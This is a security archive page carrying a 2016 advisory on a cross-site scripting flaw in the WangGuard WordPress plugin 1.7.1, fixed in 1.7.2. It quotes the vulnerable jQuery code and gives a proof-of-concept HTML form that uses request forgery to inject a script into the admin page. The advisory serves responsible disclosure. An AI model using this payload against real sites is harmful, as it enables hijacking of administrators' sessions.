Twenty Year Anniversary

WordPress WangGuard 1.7.1 Cross Site Scripting

WordPress WangGuard 1.7.1 Cross Site Scripting
Posted Aug 2, 2016
Authored by Yorick Koster, Securify B.V.

WordPress WangGuard plugin version 1.7.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | a86b8c7f6f9a7002a42cf2e707b82a32

WordPress WangGuard 1.7.1 Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Scripting in WangGuard WordPress Plugin
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the WangGuard
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0030

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on WangGuard WordPress Plugin version
1.7.1.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in WangGuard version 1.7.2.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_wangguard_wordpress_plugin.html

The issue exists in the file wangguard-admin.php and is caused by the lack of output encoding on the security questions & answers. It should be noted that this functionality is also vulnerable to Cross-Site Request Forgery.

jQuery("#wangguardnewquestionbutton").click(function() {
jQuery("#wangguardnewquestionerror").hide();
var wgq = jQuery("#wangguardnewquestion").val();
var wga = jQuery("#wangguardnewquestionanswer").val();
if ((wgq=='') || (wga=='')) {
jQuery("#wangguardnewquestionerror").slideDown();
return;
}
data = {
action : 'wangguard_ajax_questionadd',
q : wgq,
a : wga
};
jQuery.post(ajaxurl, data, function(response) {
if (response!='0') {
jQuery("#wangguard-question-noquestion").remove();
var newquest = '<div class="wangguard-question" id="wangguard-question-'+response+'">';
newquest += '<?php echo addslashes(__("Question", 'wangguard')) ?>: <strong>'+wgq+'</strong><br/>';
newquest += '<?php echo addslashes(__("Answer", 'wangguard')) ?>: <strong>'+wga+'</strong><br/>';
newquest += '<a href="javascript:void(0)" rel="'+response+'" class="wangguard-delete-question"><?php echo addslashes(__('delete question', 'wangguard')) ?></a></div>';
jQuery("#wangguard-new-question-container").append(newquest);
jQuery("#wangguardnewquestion").val("");
jQuery("#wangguardnewquestionanswer").val("");
}
else if (response=='0') {
jQuery("#wangguardnewquestionerror").slideDown();
}
});
});
In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wangguard_ajax_questionadd" />
<input type="hidden" name="q" value="xss?" />
<input type="hidden" name="a" value=""><script>alert(1);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>



------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    45 Files
  • 16
    Nov 16th
    11 Files
  • 17
    Nov 17th
    1 Files
  • 18
    Nov 18th
    1 Files
  • 19
    Nov 19th
    3 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close